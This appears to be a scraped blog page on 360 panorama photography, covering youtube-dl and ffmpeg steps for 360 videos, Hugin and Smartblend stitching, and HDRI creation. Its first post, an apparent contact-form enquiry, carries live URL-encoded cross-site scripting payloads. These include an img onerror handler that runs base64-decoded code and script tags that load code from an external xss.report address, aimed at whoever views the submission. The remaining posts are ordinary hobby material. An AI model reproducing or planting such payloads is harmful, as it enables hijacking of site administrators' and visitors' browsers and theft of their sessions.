Thursday, August 29, 2024

Can%2520you%2520sort%253F%2520%2522%253E%253Cimg%2520src%253Dx%2520id%253DdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL21vb2thYWgiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7%2520onerror%253Deval%2528atob%2528this.id%2529%2529%253E enquiry

Sender Name:
Sender Email: admin@mallardcreekinc.com
Message: %22%3E%3CNOSCRIPT%3E%3Cp%20title%3D%22%3C%2FNOSCRIPT%3E%3Cscript%20src%3D%2F%2Fxss.report%2Fc%2Fmookaah%3E%3C%2Fscript%3E%22%3E%20%253E%253C%252FtiTle%253E%253C%252FstYle%253E%253C%252FtexTarea%253E%253C%252FscrIpt%253E%2522%252F%252F%27%252F%252F%253E%253CscrIpt%2520src%253D%252F%252Fxss.report%252Fc%252Fmookaah%253E%253C%252FscrIpt%253E%20%20%20

Thursday, November 2, 2023

antolepore.blogspot.com disappeared


antolepore.blogspot.com disappeared

I had my account blocked by mistake and when they gave me my antoleporeATgmailDOTcom account back but today I noticed that my BLOG disappeared

http://antolepore.blogspot.com/

How should I do it?

I can't recreate it from scratch and there was no option to make a backup!

Help me!!!
How should I do it?

Friday, February 24, 2023

Downloading 360 Videos from YouTube (and playback in Linux)

Downloading 360 Videos from YouTube (and playback in Linux)


Inspired by this conversation on Mastodon

YouTube hosts 360 videos. Here's one of mine, wandering through the Houses of Parliament. You can drag the video to see all around.

If you let YouTube-DL download the "best" version, you'll end up with a video which looks like this:

An over-under video.

Each lens' view has been horizontally stretched, and then stitched into an over/under view. This is in Google's Equi-angular Cubemap format. Grim!

There are two options available to you to get the equirectangular version needed to playback easily on Linux

Easy Way

Running youtube-dl -F https://www.youtube.com/watch?v=... will show you all the formats available.

136          mp4        1280x720   720s 2325k , avc1.4d401f, 30fps, video only, 24.94MiB
248          webm       1920x960   1080s 2375k , vp9, 30fps, video only, 25.53MiB
137          mp4        1920x960   1080s 4127k , avc1.640028, 30fps, video only, 41.92MiB
18           mp4        640x360    360s  705k , avc1.42001E, 30fps, mp4a.40.2@ 96k (44100Hz), 7.63MiB
22           mp4        1280x720   720s 2514k , avc1.64001F, 30fps, mp4a.40.2@192k (44100Hz) (best)

I found that -f 22 worked. And there's a way to test that!

If you run ffmpeg -hide_banner -i filename.mp4 then you should see this in the metadata:

Side data:
   stereo3d: 2D
   spherical: equirectangular (0.000000/0.000000/0.000000) 

That's the magic which tells a video player that this is a spherical / 360 video.

If you play back the video in, say, the default Linux video player, it will look like this:

A distorted video.

It's a weird view out of both lenses simultaneously. Yeuch!

But if you play it using VLC version 3 or above, you'll be able to drag the video around.

There is a downside. This only gets the 720p version. If we want the full resolution version, we need a bit more trickery.

Hard Way

There's a bug in YouTube which means YouTube-DL sometimes gets served up slightly weird formats. The fix is to pass a blank user agent:

youtube-dl --user-agent "" ...

Now, when you download the video, you'll get the full resolution copy in equirectangular format. HORRAY! But without the correct metadata. BOO!

This is because ffmpeg strips out Side data. *sigh*

So, run this:

youtube-dl --user-agent "" -k https://www.youtube.com/watch?v=...

That tells YouTube-DL to keep the original video and audio separate. They need to be merged with the standard compliance mode to unofficial .

ffmpeg -i video.mp4 -i audio.m4a -c:v copy -strict unofficial spherical.mp4

Phew! Easy when you know how, eh?


Leave a Reply

Your email address will not be published. Required fields are marked *

 

 

Saturday, June 25, 2022

Experiences with Hugin and Smartblend

 I collect my experiences with panorama photos here.
https://360x180pano.blogspot.com/2022/06/smartblend-still-works-with-2021-hugin.html
https://360x180pano.blogspot.com/2022/06/smartblend-still-works-with-2021-hugin.html

I have just completed a series of hand-held panorama photos during my trip to Kelambu Beach, Sabah,  Malaysia, and uploaded results and pictures to Google Maps and Photos.

My older works are still preserved in Google Maps done with older versions of Hugin.

The camera used was Sony A5100 mirrorless. The cheapest and lightest of the NEX class cameras but no longer updated. It still has a 24 Mp sensor butsufficient for Google Maps because it only accepts 16000x8000 panorama photos.

It has bracketed exposes. I tried +-3 EV hand held. The ghosting appears because alignment with the same stack is poor. There are errors after optimising these stacks using hugin allign stack feature.

The HDR menu in the sticker does not work, sometimes. However, the user output works all the time. I even managed to stitch single photos but its quality is not as good as raw picture processing usinng Sony's raw software Imaging Edge Desktop's D-range optimizer at 100% manual setting. Sometimes it creates more noise but HDR stiching using hand-held bracketed stacks.

Hugin was able to create the stack numbers automatically if the EV exposure bracketing setting is input into the EXIF of the picture. I used the stock lens 16mm-50mm F3.5 when the sun is bright. For the sunrise and sunet photos, I used the manual Samyang 12mm F2 lens. Then I need to assign the stack number manually.

Smartblend is better than the latest builtin blending software used by Hugin. It still leves dark areas at the stiching areas but it appears sharper than previous Enblend stiching and appear faster as well.Feels as fast as Smartblend.

Using Smartblend is actually easy but do not use the User outputand make sure the output files are not cropped. It is in the Nona setting. Just input the Smartblend executable file as the alternate Enblend in Program settings. However, I still prefer to run the Smartblend using the Enblend GUI.

Enblend GUI has the best user interface ever. It shows the progress in % and time left. Once the project is completed, the total time is shown. You can save the project setting of the input and output files. The only weakness is the inability to delete the input files from the GUI.

https://goo.gl/maps/bZ5LwtQHpQTXQ5BaA

I identify them by the lack of dicontinuities at the horizon because I have learned to zoom in as closely as my computer processing allows and manually move a set of vertically linked pictures together, i.e. the centre, slightly up, and slightly down. The top picture with an estimated pitch of 90 degree is usually difficult to link so are set manually. The bottom picture with pitch of 90 degree, is taken to remove my legs so are not as aligned as the other pictures, so should cause more parallax error. No need to edit out my  feet, I just mask them out. Even mys shadows disappear using builtin blending but reappeared using Smartblend. Multiple pictures of moving people or shadows will be cancelled by Enblend-type blender but not Smartblend. Smartblend has the ability to choose the best picture which contributes to its sharpness.

Take a look at Kelambu Beach and Max Campsite for pictures and panoramas. It is the best beach in the world, but the poorest in the world, despite its immense resources, the largest producers of oil palm, timber and petroleum in Malaysia. If only  Malaysia had diverted the huge subsidies to the poor through direct cash  handouts, poverty will be removed from Malaysia entirely instantly.




Wednesday, June 22, 2022

Smartblend still works with 2021 Hugin

 Smartblend is still faster and better than the builtin  blending tools in Hugin 2021 version.

I thought it no longer works, but actually I forgot the procedure the run Smartblend usinng Enblend GUI, still the old version. Do not crop the remapped pictures during nona stitching. By default it should be uncropped.

Tuesday, December 1, 2020

How to Create High Quality HDR Environments

https://blog.hdrihaven.com/how-to-create-high-quality-hdri/ 

 

If you don’t use the script above, also be sure to enable True HDR mode to be able to output to HDR formats (my script does this automatically):

4.7. Export the HDRI

Finally, double check all the output settings are correct (100% optimal resolution, HDR only, no LDR) and hit that Create Panorama button 🙂

Congratulations, you’ve created an HDRI!

You can view this HDRI in a few different ways, my favorite being with LizardQ Viewer, or just Photoshop/Gimp/Affinity/Krita/Blender.

The Next Steps

You now know everything you need to create a basic HDRI, but if you really want to create a quality HDRI that could be published on HDRI Haven, there is still more to learn.

  1. Removing the tripod from the bottom of the HDRI (coming soon)
  2. Avoiding clipping; capturing the full brightness of the sun
  3. Dealing with motion: crowds and clouds (coming soon)
  4. What camera gear to use
  5. HDR vs EXR: Why the inferior format is better (coming soon)

Sunday, January 10, 2010

Panoramic picture publishing and viewing

I have just discoverd 360cities while viewing google earth. I saw
these symbols on Google Earth a few years back but don't bother until
I start viewing Google street views of Singapore. I read in the news
about the controversies created by Google for taking these photos. I
didn't realise there are so many of them and pano viewers are good and
fast enough for low-end broadband.

Unfortunately Google Street only take panoramic pictures of streets,
not inside compounds and buildings. That is where amateurs and
professionals can contribute, until Google start providing pano
pictures tourist attractions all over the world, but I doubt it will
be able to meet the requirements of most people, just as photographs
of sites had not stopped tourists bringing in their own cameras of all
types.

360cities.net was launched in 2007 as shown by this post.
http://ivrpa.org/forum/public/1350

By 2010, its photographer has published on the net the largest
panoramic picture on Earth. Who says higher Megapixel cameras are not
required?
http://www.360cities.net/prague-18-gigapixels


High resolution cameras are not useful if you just want to print 3R
photos or watch on you PC or TV. Even Full HD TV and monitor can show
a 2Mpixel quality only. They are most useful for panoramic pictures.

There are many sites for published 360 degree panoramic pictures but
only 360cities.net are integrated with Google Earth. I though it was
Panoramio and actually published it there but it does not have a pano
viewer. In 2007 there are many more panoramio pictures in Google Earth
than 360cities pictures so I don't click 360cities that much, until I
started looking at Singapore streets for the intention of planning my
trip to Singapore, last week.

Without going to Singapore, I feel confident that I won't get lost in
Singapore. Mind you, I lived in Singapore for 3 years but that was
more than 20 years ago.

There are not many 360 degree panoramic pictures for Malaysia and
Singapore in 360 cites. For Malaysia I noticed that there are 2
prolific photographers but the number of pictures is only about 50. I
have uploaded more than 50 of my panoramic pictures in RC Flight Sim
resolution and full resolution but at the highest compression rate
because of problems uploading.